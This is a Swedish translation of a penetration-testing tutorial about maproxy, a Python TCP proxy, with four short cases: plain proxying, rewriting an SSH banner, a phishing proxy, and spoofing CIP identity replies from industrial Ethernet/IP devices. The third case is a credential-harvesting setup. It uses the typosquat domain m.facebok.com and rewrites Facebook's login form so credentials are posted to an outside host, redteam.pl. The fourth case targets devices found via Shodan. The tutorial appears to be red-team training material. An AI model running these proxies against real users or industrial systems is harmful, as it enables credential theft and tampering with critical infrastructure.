Behandling av nÀtverksdata i realtid

ÖversĂ€ttningen av artikeln Ă€r framtagen inför kursstarten „Pentest. Praktik för penetrationstestning“.

Behandling av nÀtverksdata i realtid

Sammanfattning

Olika typer av sÀkerhetsbedömningar, allt frÄn regelbundna penetrationstester och Red Team-operationer till intrÄng i IoT/ICS-enheter och SCADA, innebÀr arbete med binÀra nÀtverksprotokoll, vilket i grunden handlar om att avlyssna och modifiera nÀtverksdata mellan klienten och mÄlet. NÀtverkstrafiksniffning Àr ingen svÄr uppgift, dÄ vi har verktyg som Wireshark, Tcpdump eller Scapy, men modifiering framstÄr som en mer arbetskrÀvande uppgift, eftersom vi mÄste ha ett slags grÀnssnitt för att lÀsa nÀtverksdata, filtrera dem, Àndra dem i realtid och skicka tillbaka dem till mÄlvÀrden nÀstan i realtid. Dessutom skulle det vara perfekt om ett sÄdant verktyg kunde arbeta automatiskt med flera parallella anslutningar och ha möjligheter för anpassning via skript.

En gĂ„ng upptĂ€ckte jag ett verktyg som heter maproxy, och dokumentationen gjorde mig snabbt medveten om att maproxy – var precis vad jag behövde. Det Ă€r en ganska enkel, mĂ„ngsidig och lĂ€ttanpassad TCP-proxy. Jag testade detta verktyg pĂ„ flera ganska komplexa applikationer, inklusive ICS-enheter (som genererar mĂ„nga paket), för att se om det kunde hantera mĂ„nga parallella anslutningar, och verktyget presterade bra.

Denna artikel kommer att introducera dig till att bearbeta nÀtverksdata i realtid med hjÀlp av maproxy.

Översikt

Verktyget maproxy baserat pĂ„ Tornado – ett populĂ€rt och utvecklat asynkront nĂ€tverksramverk i Python.

I allmÀnhet kan den arbeta i flera lÀgen:

  • TCP:TCP – okrypterade TCP-anslutningar;
  • TCP:SSL och SSL:TCP – med enkelriktad kryptering;
  • SSL:SSL – dubbelriktad kryptering.

Den levereras som ett bibliotek. För snabb start kan du anvÀnda exempel filer som Äterspeglar de grundlÀggande funktioner i biblioteket:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Fall 1 – enkel dubbelriktad proxy

Baserat pÄ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Som standard ProxyServer() tar emot tvĂ„ argument – anslutningslĂ€ge och mĂ„port. server.listen() tar emot ett argument – portnumret för att lyssna efter inkommande anslutningar.

Kör skriptet:

# python tcp2tcp.py

För att utföra ett test kommer vi att koppla upp oss mot den lokala SSH-servern via vÄrt proxy-skript som lyssnar pÄ 2222/tcp port och ansluter till standardporten 22/tcp SSH-servrar:

Behandling av nÀtverksdata i realtid

VÀlkomstbanner meddelar att vÄrt exempel pÄ skript framgÄngsrikt har proxytt nÀtverkstrafiken.

Fall 2 – modifiering av data

Ett annat demo-skript logging_proxy.py Àr perfekt för interaktion med nÀtverksdata. Kommentarerna i filen beskriver klassens metoder som du kan modifiera för att uppnÄ ditt mÄl:

Behandling av nÀtverksdata i realtid

Det mest intressanta hÀr:

  • on_c2p_done_read – för att fĂ„nga data pĂ„ vĂ€gen frĂ„n klienten till servern;
  • on_p2s_done_read – bakĂ„t.

LÄt oss försöka Àndra SSH-bannern som servern returnerar till klienten:

[
]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[
]

Kör skriptet:

Behandling av nÀtverksdata i realtid

Som du kan se har klienten blivit missledd eftersom namnet pÄ SSH-servern har Àndrats till «DumnySSH».

Behandling av nÀtverksdata i realtid

Fall 3 – enkel phishing-webbsida

Det finns oÀndligt mÄnga anvÀndningsomrÄden för detta verktyg. Denna gÄng ska vi fokusera pÄ nÄgot mer praktiskt inom Red Team-operationer. LÄt oss imitera landningssidan m.facebook.com och anvÀnda en anpassad domÀn med avsiktlig stavfel, till exempel, m.facebok.com. För demonstrationssyften antas vi bara att domÀnen Àr registrerad av oss.

Vi tÀnker skapa en okrypterad nÀtverksanslutning med vÄr proxy för offer och SSL-Stream för Facebook-servern (31.13.81.36). För att detta exempel ska fungera behöver vi ersÀtta HTTP-vÀrdhuvudet och injicera det korrekta vÀrdnamnet, samt stÀnga av komprimering av svar för att fÄ lÀtt tillgÄng till deras innehÄll. I slutÀndan kommer vi att ersÀtta HTML-formulÀret sÄ att inloggningsuppgifterna skickas till oss istÀllet för till Facebook-servrar:

[
]
def on_c2p_done_read(self,data):
 # ersÀtta vÀrdhuvud
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# avaktivera kompression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[
]
def on_p2s_done_read(self,data):
 # partiell ersÀttning av svaret
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[
]

Slutsatsen:

Behandling av nÀtverksdata i realtid

Som du kan se har vi lyckats byta ut den ursprungliga webbplatsen.

Fall 4 – Vi skadar Ethernet/IP

Jag har arbetat med industriella enheter och mjukvara (ICS / SCADA) under en lÄng tid, sÄsom programmerbara kontroller (PLC), in- och utgÄngsmoduler, drivsystem, relÀer, programmeringsmiljöer och mycket mer. Detta fall Àr för dem som gillar industriella prylar. Att hacka sÄdana lösningar innebÀr aktivt arbete med nÀtverksprotokoll. I följande exempel vill jag visa hur du kan modifiera nÀtverkstrafik för ICS/SCADA.

För detta behöver du följande:

  • En nĂ€tverks-sniffer, till exempel Wireshark;
  • Ethernet/IP eller bara en SIP-enhet, som du kan hitta genom Shodan-tjĂ€nsten;
  • VĂ„rt skript baserat pĂ„ maproxy.

Till att börja med, lÄt oss se hur ett typiskt identifikationssvar frÄn CIP (Common Industrial Protocol) ser ut:

Behandling av nÀtverksdata i realtid

Identifiering av enheten sker via Ethernet/IP-protokollet, som Ă€r en utvidgad version av Ethernet-protokollet för industriella Ă€ndamĂ„l, och omger kontrollprotokoll, sĂ„som CIP. Vi kommer att förĂ€ndra det slutna identifikationsnamnet som syns i skĂ€rmdumpen „NI-IndComm for Ethernet“ med hjĂ€lp av vĂ„rt proxy-skript. Vi skulle kunna Ă„teranvĂ€nda skriptet logging_proxy.py och pĂ„ liknande sĂ€tt modifiera klassmetoden on_p2s_done_read, eftersom vi vill att kunden ska se ett annat identifikationsnamn.

Kod:

[
]
 def on_p2s_done_read(self,data):
 # delvis ersÀttning av svaret

 # Kontrollerar om vi fÄtt List Identity meddelande som svar
     if data[26:28] == b'x0cx00':
         print('Fick svar, ersÀtter')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[
]

I grund och botten begÀrde vi enhetsidentifiering tvÄ gÄnger, dÀr det andra svaret Àr originalet, medan det första modifierades i realtid.

Och sist men inte minst

Enligt min mening maproxy ett praktiskt och enkelt verktyg som dessutom Àr skrivet i Python, sÄ jag tror att du ocksÄ kan dra nytta av att anvÀnda det. Naturligtvis finns det mer avancerade verktyg för att hantera och modifiera nÀtverksdata, men de krÀver ocksÄ mer uppmÀrksamhet och Àr vanligtvis skapade för specifika anvÀndningsscenarier, sÄsom Muraena, Modlishka eller evilginx för fall som liknar det tredje, eller canape för det senaste fallet. Hur som helst, med hjÀlp av maproxy kan du snabbt förverkliga dina idéer om att avlyssna nÀtverksdata, eftersom skriptexemplen Àr mycket tydliga.

Testning av autentiseringmekanismer i Windows AD

KĂ€lla: habr.com

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster